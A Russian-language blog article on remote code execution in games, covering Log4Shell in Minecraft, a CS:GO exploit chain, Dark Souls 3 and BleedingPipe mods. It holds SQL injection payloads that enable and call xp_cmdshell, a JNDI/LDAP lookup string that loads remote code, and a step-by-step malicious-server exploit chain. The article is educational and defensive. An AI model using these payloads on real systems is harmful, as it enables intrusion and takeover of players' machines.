
Game Hacking 3. RCE-уязвимости и атаки на игроков
Дата публикации: 20 апреля 2025 г.
Remote Code Execution (RCE) — это самая опасная категория уязвимостей в современной кибербезопасности, особенно в контексте игр. Эти уязвимости позволяют злоумышленникам удаленно выполнять произвольный код на устройстве жертвы, получая полный контроль над системой без ведома пользователя. В игровой индустрии RCE-атаки становятся все более изощренными и распространенными, представляя серьезную угрозу для миллионов геймеров по всему миру. В этой статье мы детально рассмотрим механизмы RCE-уязвимостей в играх, проанализируем реальные случаи их эксплуатации и разберем технические аспекты наиболее известных атак.
Это третья часть из серии статей на тему Game Hacking.
Все части:
- Game Hacking 1. От чит-кодов до kernel-level читов
- Game Hacking 2. Уязвимости в игровых серверах: когда игру ломают изнутри
- Game Hacking 3. RCE-уязвимости и атаки на игроков
Введение: Что такое RCE и почему это самая опасная категория уязвимостей в играх
RCE (Remote Code Execution) — это тип уязвимости в программном обеспечении или системе, который позволяет злоумышленнику удалённо выполнять произвольный код на целевом устройстве. Это означает, что атакующий может запускать команды, программы или скрипты на компьютере жертвы без её согласия или даже ведома. В контексте игр такие уязвимости особенно опасны, поскольку игры запускаются с привилегиями пользователя и имеют доступ к критически важным ресурсам системы.
Уязвимость RCE возникает, когда приложение неправильно обрабатывает входные данные, полученные из внешних источников — например, пользовательский ввод, сетевые запросы или файлы. При этом игры представляют особую угрозу, поскольку они постоянно обрабатывают данные из недоверенных источников: сетевой трафик от серверов, данные от других игроков, загружаемый контент и прочее.
В отличие от других типов уязвимостей, RCE предоставляет атакующему практически неограниченный контроль над системой жертвы, позволяя выполнять любые действия от имени пользователя. Для игровых клиентов это означает, что злоумышленник может не только получить доступ к игровым аккаунтам и внутриигровым предметам, но и установить вредоносное ПО, украсть личные данные или использовать компьютер жертвы для дальнейших атак.
История известных RCE-атак через игры
За последние годы игровая индустрия стала свидетелем множества серьезных RCE-уязвимостей, некоторые из которых затронули миллионы пользователей по всему миру.
Minecraft и Log4Shell (2021)
В декабре 2021 года была обнаружена критическая уязвимость Log4Shell (CVE-2021-44228) в библиотеке Log4j, широко используемой в Java-приложениях, включая Minecraft. Эксплуатация этой уязвимости была поразительно простой — достаточно было отправить определенное сообщение в чат игры, чтобы выполнить вредоносный код на сервере или клиенте игрока.
Как пример уязвимости — HTTP-сервер, который логирует строку, например, user agent. Для Minecraft была выпущена официальная версия 1.18.1, закрывающая эту уязвимость, но множество пользовательских серверов оставались уязвимыми.
Counter-Strike: Global Offensive (2021)
В апреле 2021 года группа исследователей безопасности Secret Club сообщила о наличии удаленной уязвимости в движке Source, разработанном Valve и используемом для создания игр с десятками миллионов уникальных игроков. Эта уязвимость затрагивала множество популярных игр, включая Counter-Strike, Half-Life, Half-Life 2, Garry's Mod, Team Fortress, Left 4 Dead и Portal.
Другая исследовательская группа, neodyme, обнаружила три независимые RCE-уязвимости в CS:GO, каждая из которых могла сработать, когда игровой клиент подключался к вредоносному Python-серверу. Они даже разработали полноценный эксплойт, демонстрирующий выполнение произвольного кода на клиенте при подключении к серверу.
Dark Souls 3 (2022)
В январе 2022 года разработчики серии Dark Souls сообщили, что ПК-серверы Dark Souls: Remastered, Dark Souls 2, Dark Souls 3 и Dark Souls: PtDE временно отключены из-за опасной RCE-уязвимости, которая позволяла удаленно захватить контроль над чужой машиной.
Уязвимость была публично продемонстрирована во время Twitch-стрима, когда стример The__Grim__Sleeper играл в Dark Souls 3. В конце стрима с его компьютером начали происходить странные вещи: сначала игра многократно вылетала, а затем неожиданно включилось автоматическое преобразование текста в речь от Microsoft, и синтезированный голос начал критиковать геймплей стримера.
BleedingPipe в модах для Minecraft (2023)
В 2023 году была обнаружена уязвимость BleedingPipe, затрагивающая множество модов для Minecraft, работающих на популярной моддинг-платформе Forge. Проблема была связана с небезопасной десериализацией и позволяла злоумышленникам запускать вредоносные команды на серверах и клиентах игроков.
По данным сообщества безопасности Minecraft (MMPA), первые сообщения об эксплуатации уязвимости появились еще в марте 2022 года, но тогда моддеры быстро выпустили патчи.
Call of Duty: Black Ops III и GTA Online
Call of Duty: Black Ops III, выпущенная в 2015 году, содержит RCE-уязвимости, о которых уже сообщали разработчику — Activision. Однако компания годами игнорирует такие отчеты, оставляя игроков под угрозой.
В январе 2023 года была обнаружена и исправлена уязвимость CVE-2023-24059 в GTA Online, которая позволяла не только похищать аккаунты игроков, но и устанавливать на их устройствах вредоносное ПО.
Почему игры становятся идеальным вектором для доставки малвари
Игры представляют собой идеальную среду для распространения вредоносного ПО по нескольким причинам:
Сложность и обширная кодовая база
Современные игры — это сложные программные продукты, часто содержащие миллионы строк кода и использующие множество сторонних библиотек. Source Engine, например, основан на более старом GoldSrc (1998), который, в свою очередь, происходит от Quake Engine (1996). Эта историческая преемственность означает, что в коде присутствуют компоненты, разработанные задолго до того, как безопасность стала приоритетом.
Высокие привилегии запуска
Игры часто требуют повышенных привилегий для доступа к графическим API, устройствам ввода и другим ресурсам системы. Это означает, что успешная эксплуатация RCE-уязвимости предоставляет злоумышленнику значительный контроль над системой.
Сниженная бдительность пользователей
Во время игры пользователи обычно менее внимательны к потенциальным угрозам безопасности, сосредотачиваясь на игровом процессе. Они с большей вероятностью примут подозрительные приглашения или скачают сомнительные моды, если это связано с игрой.
Огромная установленная база
Популярные игры, такие как Minecraft или CS:GO, имеют десятки или даже сотни миллионов активных пользователей, что делает их привлекательной целью для массовых атак. Успешная эксплуатация RCE-уязвимости в такой игре может привести к компрометации огромного количества систем.
Частые обновления и патчи
Регулярные обновления и патчи не только добавляют новый функционал, но и могут вносить новые уязвимости. Кроме того, пользователи привыкли к постоянным обновлениям и с меньшей вероятностью заподозрят что-то неладное, когда игра запрашивает новую загрузку или установку.
Анатомия RCE-уязвимостей в играх
Технические основы удаленного исполнения кода
RCE-уязвимости в играх обычно возникают из-за следующих технических проблем:
Некорректная валидация входных данных
Игры постоянно получают данные из недоверенных источников (серверы, другие игроки, загруженный контент) и должны тщательно проверять эти данные перед обработкой. Если валидация отсутствует или реализована некорректно, это может привести к RCE.
Переполнение буфера
Одна из классических уязвимостей — переполнение буфера, когда программа пытается записать данные за пределы выделенного буфера памяти. В играх это часто происходит при обработке сетевых пакетов, загрузке ресурсов или обработке пользовательского ввода.
Ошибки десериализации
Десериализация — процесс восстановления объектов из потока байтов. Если данные поступают из недоверенного источника и не проверяются должным образом, это может привести к выполнению произвольного кода. Уязвимость BleedingPipe в модах для Minecraft является ярким примером проблемы с небезопасной десериализацией.
Инъекции SQL и команд
SQL-инъекции могут быть особенно опасны, когда они используются не только для доступа к базе данных, но и для выполнения команд на уровне операционной системы. Различные СУБД, такие как MySQL, PostgreSQL и MSSQL, предоставляют возможности для выполнения системных команд.
Например, в MSSQL существует хранимая процедура xp_cmdshell, которая может использоваться для выполнения команд ОС: EXEC xp_cmdshell 'ipconfig';
Если эта функция отключена, злоумышленник с достаточными привилегиями может включить ее: 1; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
А затем использовать для выполнения произвольных команд: 1; EXEC xp_cmdshell 'ping chux.io'; EXEC xp_cmdshell 'dir C:\\users'; --
Типичные векторы RCE в игровых клиентах
Сетевые протоколы и пакеты
Многие игры используют собственные сетевые протоколы, которые могут содержать уязвимости. Например, Source Engine реализует собственный TCP-подобный сетевой стек на основе UDP со всеми связанными с этим проблемами.
Парсеры игрового контента
Игры обрабатывают множество различных типов файлов — текстуры, 3D-модели, звуковые файлы, скрипты и т.д. Ошибки в парсерах этих файлов могут привести к RCE при загрузке специально сформированных данных.
Плагины и моды
Поддержка пользовательских модификаций значительно расширяет поверхность атаки. Моды могут содержать как намеренно внедренный вредоносный код, так и непреднамеренные уязвимости.
Интеграция с внешними сервисами
Современные игры интегрируются с различными внешними платформами и сервисами (Steam, Discord, браузеры), что создает дополнительные векторы для атак.
Различия между casual и targeted RCE-атаками
Массовые (casual) RCE-атаки
Массовые атаки направлены на широкую аудиторию игроков и используют известные уязвимости. Они часто автоматизированы и распространяют стандартное вредоносное ПО — майнеры криптовалют, трояны, программы-вымогатели. Такие атаки менее сложны технически, но могут затрагивать огромное количество пользователей.
Целевые (targeted) RCE-атаки
Целевые атаки направлены на конкретных игроков или группы — профессиональных киберспортсменов, разработчиков, известных стримеров. Они используют более сложные уязвимости, часто 0-day, и требуют значительных ресурсов и технических знаний. Такие атаки обычно имеют четкие цели — шпионаж, саботаж, кража конкретных данных.
Пример такой атаки можно увидеть в случае с Dark Souls 3, когда стример был атакован во время прямого эфира.
Пути эксплуатации RCE в игровых клиентах
Уязвимости в обработчиках игровых ассетов
Игры используют множество различных типов ассетов — от 3D-моделей и текстур до звуковых файлов и скриптов. Уязвимости в обработчиках этих ассетов могут предоставить злоумышленникам возможность для удаленного выполнения кода:
- Парсеры моделей и текстур: Ошибки в обработке форматов 3D-моделей (OBJ, FBX, MDL) или текстур (JPEG, PNG, DDS) могут привести к переполнению буфера или другим уязвимостям памяти.
- Загрузчики карт и уровней: Карты и уровни в играх часто содержат сложные структуры данных, которые при некорректной обработке могут привести к RCE.
- Скриптовые движки: Многие игры используют встроенные скриптовые языки (Lua, Python, JavaScript), уязвимости в которых могут привести к выполнению произвольного кода.
Десериализация пользовательских данных
Десериализация — это процесс восстановления объектов программы из потока байтов. Этот процесс особенно уязвим, если входные данные поступают из ненадежного источника:
- Сохранения игры: Файлы сохранений могут быть модифицированы злоумышленником и содержать вредоносные данные, которые при десериализации приведут к выполнению кода.
- Сетевые пакеты: Сериализованные объекты, передаваемые по сети, могут содержать вредоносный код, который будет выполнен при десериализации.
Уязвимость BleedingPipe в модах для Minecraft является ярким примером проблем с небезопасной десериализацией. По данным сообщества MMPA, уязвимость связана с некорректным использованием десериализации в классе ObjectInputStream, который используется для обмена сетевыми пакетами между серверами и клиентами.
Злоумышленники могут отправлять специально подготовленные сетевые пакеты на уязвимые серверы, чтобы захватить контроль над ними. После этого они могут использовать взломанные серверы для эксплуатации уязвимостей в тех же модах, которые используются игроками, подключающимися к серверу, что позволяет устанавливать вредоносное ПО на их устройства.
Переполнения буфера в игровых движках
Переполнения буфера остаются одним из наиболее распространенных векторов для RCE в играх:
- Стековые переполнения: Возникают, когда функция записывает данные за пределами выделенной для стека области памяти, что может привести к перезаписи адреса возврата функции.
- Кучевые переполнения: Происходят при записи данных за пределы выделенного в куче блока памяти, что может привести к повреждению структур данных или метаданных кучи.
- Integer overflow/underflow: Арифметические операции с целыми числами могут привести к значениям, которые выходят за пределы допустимого диапазона, что может вызвать неожиданное поведение программы.
Старые игровые движки, такие как Source Engine, особенно подвержены таким уязвимостям из-за их возраста и накопленного технического долга. В 2021 году исследователи из neodyme обнаружили три независимые RCE-уязвимости в CS:GO, каждая из которых могла быть использована при подключении клиента к вредоносному серверу.
Уязвимости в интеграциях с веб-компонентами
Методы доставки вредоносного кода через игры
Скомпрометированные игровые сервера
Игровые серверы могут стать точкой входа для атак на клиентов:
- Модифицированное серверное ПО: Злоумышленники могут использовать модифицированное ПО сервера для эксплуатации уязвимостей в клиентах, как это было показано в случае с CS:GO.
- Компрометация легитимных серверов: Взлом существующих игровых серверов для распространения вредоносного кода, как это произошло с модами для Minecraft, уязвимыми к BleedingPipe.
- Фальшивые обновления: Серверы могут отправлять поддельные обновления клиентам, содержащие вредоносный код, используя уязвимости в механизмах проверки подписи.
Steam-инвайты и другие социальные механики
Социальные механики в играх и игровых платформах могут быть использованы для распространения вредоносного кода:
- Вредоносные приглашения: В апреле 2021 года группа исследователей безопасности Secret Club сообщила о RCE-уязвимости в Source Engine, которая могла быть эксплуатирована просто при получении игроком приглашения в Steam.
- Личные сообщения: Злоумышленники могут отправлять сообщения с вредоносными строками или ссылками, которые при обработке приводят к выполнению кода, как в случае с Log4Shell в Minecraft.
- Торговые предложения и обмены: Механики торговли внутриигровыми предметами могут быть использованы для социальной инженерии и доставки эксплойтов.
Модификации и неофициальные патчи
Моды и пользовательские модификации могут содержать вредоносный код или непреднамеренные уязвимости:
- Троянизированные моды: Легитимные моды, модифицированные для включения вредоносного кода.
- Уязвимые моды: Моды с непреднамеренными уязвимостями, как в случае с BleedingPipe, которая затрагивала множество модов для Minecraft на платформе Forge.
По данным MMPA, уязвимость BleedingPipe присутствовала в следующих модах:
- EnderCore
- LogisticsPipes старше версии 0.10.0.71
- BDLib от 1.7 до 1.12
- Smart Moving 1.12
- Brazier
- DankNull
- Gadomancy
- Advent of Ascension (Nevermine) версии 1.12.2
- Astral Sorcery версии 1.9.1 и старше
- И многих других
Взломанные версии популярных игр
Пиратские и взломанные версии игр часто содержат вредоносное ПО:
- Встроенные трояны и бэкдоры: Взломанные игры могут содержать встроенный вредоносный код.
- Модифицированные исполняемые файлы: Изменение исполняемых файлов игры для включения вредоносного кода.
- Фальшивые кряки и патчи: Программы, якобы предназначенные для обхода защиты от копирования, часто содержат вредоносный код.
Кейс: Log4j и Minecraft
Детальный разбор катастрофической уязвимости Log4Shell
Log4Shell (CVE-2021-44228) — критическая уязвимость в библиотеке Log4j, широко используемой Java-приложениями для логирования. Уязвимость была обнаружена в декабре 2021 года и получила максимальную оценку критичности 10 по шкале CVSS.
Технически уязвимость связана с функцией поиска и выполнения в строках (string lookup) в Log4j. Библиотека проверяет входные данные и "резолвит" их. Например, строка ${java:vm}
будет заменена на информацию о Java Virtual Machine.
Уязвимость возникает, когда злоумышленник отправляет строку вида ${jndi:ldap://someremoteclass}
. В этом случае Log4j пытается загрузить и выполнить код с удаленного LDAP-сервера. JNDI (Java Naming and Directory Interface) используется для доступа к различным службам каталогов, и в случае Log4Shell, он используется для загрузки и выполнения произвольного Java-кода с удаленного сервера.
Как Minecraft стал вектором массовой эксплуатации
Minecraft, как одна из самых популярных игр в мире, стал идеальной средой для эксплуатации Log4Shell по нескольким причинам:
- Встроенный чат: Minecraft имеет встроенную систему чата, где сообщения пользователей логируются. Это позволяло эксплуатировать уязвимость, просто отправив вредоносное сообщение в чат.
- Java-основа: Minecraft написан на Java и использует Log4j для логирования, что делало его уязвимым "из коробки".
- Серверная архитектура: Minecraft использует клиент-серверную архитектуру, где серверы обрабатывают сообщения от игроков, что позволяло атаковать как клиенты, так и серверы.
- Простота эксплуатации: Для эксплуатации достаточно было отправить определенное сообщение в чат, что не требовало высокой технической квалификации.
Последствия и реакция сообщества
Реакция на Log4Shell была беспрецедентной по своему масштабу:
- Экстренные патчи: Mojang выпустил экстренный патч 1.18.1, закрывающий уязвимость.
- Мобилизация сообщества: Сообщество разработчиков и администраторов серверов работало круглосуточно, чтобы защитить системы от эксплуатации.
- Массовое сканирование: Были зафиксированы массовые сканирования Интернета в поисках уязвимых систем, включая серверы Minecraft.
- Разработка защитных мер: Появились различные инструменты и техники для обнаружения и блокирования попыток эксплуатации Log4Shell.
Кейс-стади: RCE в Source Engine
История уязвимостей в движке Valve
Source Engine, разработанный Valve в 2004 году, имеет долгую историю уязвимостей, что объясняется его сложностью и возрастом:
- Исторический контекст: Source Engine основан на более старом GoldSrc (1998), который, в свою очередь, происходит от Quake Engine (1996). Эта длинная история означает, что в коде присутствуют компоненты, разработанные до того, как безопасность стала приоритетом в разработке игр.
- Сложность: Source Engine — это сложный движок с собственной сетевой реализацией, системой рендеринга, физикой и множеством других компонентов, что увеличивает поверхность для атак.
- Утечки исходного кода: Исходный код Source Engine несколько раз становился доступным публично (в 2003, 2007 и 2020 годах), что позволяло исследователям безопасности и злоумышленникам более детально изучать его уязвимости.
Технический анализ нашумевшей RCE-уязвимости в CS:GO
В апреле 2021 года исследовательская группа neodyme обнаружила три независимые RCE-уязвимости в CS:GO, каждая из которых могла быть использована, когда клиент подключался к вредоносному серверу. Рассмотрим одну из этих уязвимостей, основанную на четырех логических ошибках:
Ошибка 1: Выполнение привилегированных команд с сервера
Серверы Counter-Strike бывают двух типов: одиночные (локальные, с повышенными привилегиями) и многопользовательские (с ограниченными правами). Исследователи обнаружили, что если установить параметр m_nMaxClients
равным 1, сервер ошибочно считается одиночным и получает возможность выполнять привилегированные команды на клиенте.
Ошибка 2: Загрузка произвольных файлов из-за обрезания расширения
Source Engine позволяет серверам отправлять дополнительные файлы клиентам через HTTP (fast_dl
). Для предотвращения загрузки опасных файлов блокируются определенные расширения (.exe
, .dll
, .ini
). Однако, из-за ограничения длины строки функцией snprintf
, конец имени файла может быть обрезан, что позволяет обойти проверку расширения.
Ошибка 3: Запись произвольных текстовых файлов в директорию игры
Команда con_logfile
может записывать .log
файлы в любую игровую директорию. Из-за похожей ошибки обрезания строки, возможно указать произвольное расширение и создать текстовые файлы с любым содержимым и расширением.
Ошибка 4: Откат к отключенной проверке подписей
При запуске CS:GO проверяется целостность DLL игры. Если проверка не проходит, происходит откат к режиму insecure
, в котором можно загружать сторонние DLL. Исследователи обнаружили, что client.dll
проверяется, но не загружается (заменен на client_panorama.dll
), поэтому его можно перезаписать, не влияя на работу игры.
Цепочка эксплуатации от подключения к серверу до полного контроля
Полная цепочка эксплуатации включала следующие шаги:
- Установление соединения: Клиент подключается к вредоносному серверу.
- Эксплуатация ошибки 1: Сервер устанавливает
m_nMaxClients = 1
, получая возможность выполнять привилегированные команды на клиенте. - Утечка пути установки: Сервер использует команду
path
для получения пути установки игры и сохраняет его в переменнойGAMEBIN
. - Загрузка вредоносных файлов: Используя ошибку 2, сервер заставляет клиент загрузить вредоносный
matchmaking.dll
и модифицированныйgameinfo.txt
. - Повреждение проверяемого файла: Используя ошибку 3, сервер перезаписывает
client.dll
невалидным содержимым. - Вызов краша и перезапуск: Клиент завершается с ошибкой, и пользователь перезапускает игру.
- Откат к небезопасному режиму: При перезапуске проверка целостности
client.dll
не проходит, и игра переходит в режимinsecure
. - Загрузка вредоносной DLL: Игра загружает модифицированный
gameinfo.txt
, который указывает на директорию с вредоноснымmatchmaking.dll
. - Выполнение произвольного кода: При загрузке
matchmaking.dll
выполняется вредоносный код с правами пользователя.
Эта цепочка эксплуатации демонстрирует, как несколько, казалось бы, незначительных логических ошибок могут быть объединены для достижения полного удаленного контроля над системой жертвы.
Кейс-стади: Взлом через игровые моды
Технический анализ векторов атаки через моддинг
Моддинг — популярная практика в игровой индустрии, позволяющая пользователям создавать и устанавливать модификации для игр. Однако это также создает новые векторы атаки:
- Повышенные привилегии: Моды часто требуют доступа к системным ресурсам и выполняются с теми же привилегиями, что и сама игра.
- Сложность проверки: Из-за большого количества и разнообразия модов их тщательная проверка на наличие вредоносного кода практически невозможна.
- Открытые интерфейсы API: Игры предоставляют модам доступ к внутренним API, которые могут быть использованы злоумышленниками.
- Скриптовые языки: Многие моды используют скриптовые языки (Lua, Python, JavaScript), которые могут содержать уязвимости или намеренно вредоносный код.
Роль моддинг-платформ в распространении вредоносного кода
Моддинг-платформы могут как способствовать, так и препятствовать распространению вредоносного кода:
- Отсутствие строгой проверки: Многие платформы имеют минимальную проверку загружаемых модов на наличие вредоносного кода.
- Автоматические обновления: Механизмы автоматического обновления модов могут быть использованы для доставки вредоносного кода после того, как мод получил популярность.
- Социальное доверие: Пользователи склонны доверять модам с высоким рейтингом и большим количеством загрузок, что может быть использовано злоумышленниками.
Громкие случаи компрометации через Workshop и Nexus Mods
Уязвимость BleedingPipe в Minecraft
В 2023 году была обнаружена уязвимость BleedingPipe, затрагивающая множество модов для Minecraft, работающих на популярной моддинг-платформе Forge. Проблема была связана с некорректным использованием десериализации в классе ObjectInputStream:
- Механизм атаки: Злоумышленники отправляли специально подготовленные сетевые пакеты на уязвимые серверы, чтобы получить контроль над ними.
- Распространение атаки: После компрометации серверов, атакующие могли использовать их для эксплуатации уязвимостей в модах, установленных у игроков, подключающихся к серверу.
- Масштаб проблемы: Уязвимость затрагивала множество популярных модов, включая EnderCore, LogisticsPipes, BDLib, Astral Sorcery и другие.
- Активная эксплуатация: Сообщество MMPA предупреждало, что злоумышленники активно сканируют серверы Minecraft в поисках уязвимых к BleedingPipe и используют эту уязвимость для проведения атак.
- Защитные меры: Команда MMPA разработала мод PipeBlocker для защиты серверов и клиентов путем фильтрации сетевого трафика ObjectInputStream.
Последствия успешных RCE-атак
От кражи Steam-аккаунтов до полного взлома системы
Последствия успешных RCE-атак через игры могут варьироваться от относительно незначительных до катастрофических:
- Кража игровых учетных записей: Злоумышленники получают доступ к аккаунтам Steam, Epic Games, Battle.net и других игровых сервисов.
- Кража внутриигровых предметов: Особенно ценных в играх с развитой экономикой, таких как CS:GO, Dota 2, Team Fortress 2, где некоторые предметы могут стоить тысячи долларов.
- Доступ к личной информации: Включая имена, адреса, данные платежных карт и другую конфиденциальную информацию, сохраненную в игровых учетных записях.
- Полный контроль над системой: Установка клавиатурных шпионов, программ удаленного доступа и другого вредоносного ПО.
Установка бэкдоров и майнеров через игры
Одним из распространенных последствий RCE-атак через игры является установка вредоносного ПО:
- Майнеры криптовалют: Используют вычислительные ресурсы жертвы для добычи криптовалют. Игровые компьютеры часто имеют мощные графические карты, что делает их особенно привлекательными для майнинга.
- Бэкдоры: Обеспечивают постоянный доступ к системе жертвы, позволяя злоумышленникам возвращаться даже после перезагрузки или обновления системы.
- RAT (Remote Access Trojans): Предоставляют злоумышленникам полный контроль над системой, включая доступ к веб-камере, микрофону, клавиатуре и другим устройствам.
- Кейлоггеры: Записывают нажатия клавиш для кражи паролей и другой конфиденциальной информации.
Реальные случаи финансовых потерь и похищения данных
RCE-атаки через игры привели к значительным финансовым потерям и утечкам данных:
- Кража ценных внутриигровых предметов: В CS:GO и других играх с развитой экономикой внутриигровые предметы могут стоить тысячи долларов. RCE-уязвимости позволяют злоумышленникам напрямую получать доступ к инвентарю жертвы.
- Компрометация платежных данных: Через RCE в играх злоумышленники могут получить доступ к сохраненным данным платежных карт и использовать их для мошенничества.
- Фишинг и социальная инженерия: Получив доступ к игровым аккаунтам, злоумышленники могут использовать их для фишинга друзей жертвы или для социальной инженерии.
- Шантаж и вымогательство: Доступ к личным данным и контроль над компьютером жертвы может использоваться для шантажа и вымогательства.
В 2023 году была обнаружена и исправлена уязвимость в GTA Online (CVE-2023-24059), которая позволяла не только похищать аккаунты игроков, но и устанавливать на их устройствах вредоносное ПО.
Заключение и тизер следующей статьи
RCE-уязвимости в играх представляют серьезную угрозу безопасности не только для игровых аккаунтов, но и для всей системы пользователя. Из-за широкой распространенности игр, сниженной бдительности пользователей и сложности игрового программного обеспечения, игры стали привлекательной мишенью для злоумышленников.
В данной статье мы рассмотрели технические основы RCE-уязвимостей, пути их эксплуатации в играх, методы доставки вредоносного кода и последствия успешных атак. Мы также разобрали несколько ключевых кейсов, включая катастрофическую уязвимость Log4Shell в Minecraft, сложные RCE-уязвимости в Source Engine и проблемы с игровыми модами.
В следующей статье мы сосредоточимся на мерах защиты от RCE-атак для игроков. Мы рассмотрим, как обычные пользователи могут защитить себя от этих угроз, какие инструменты и настройки могут помочь, и какие лучшие практики следует соблюдать для обеспечения безопасности во время игры. Кроме того, мы проанализируем крупные взломы игровых компаний и их влияние на безопасность пользователей.
Все части: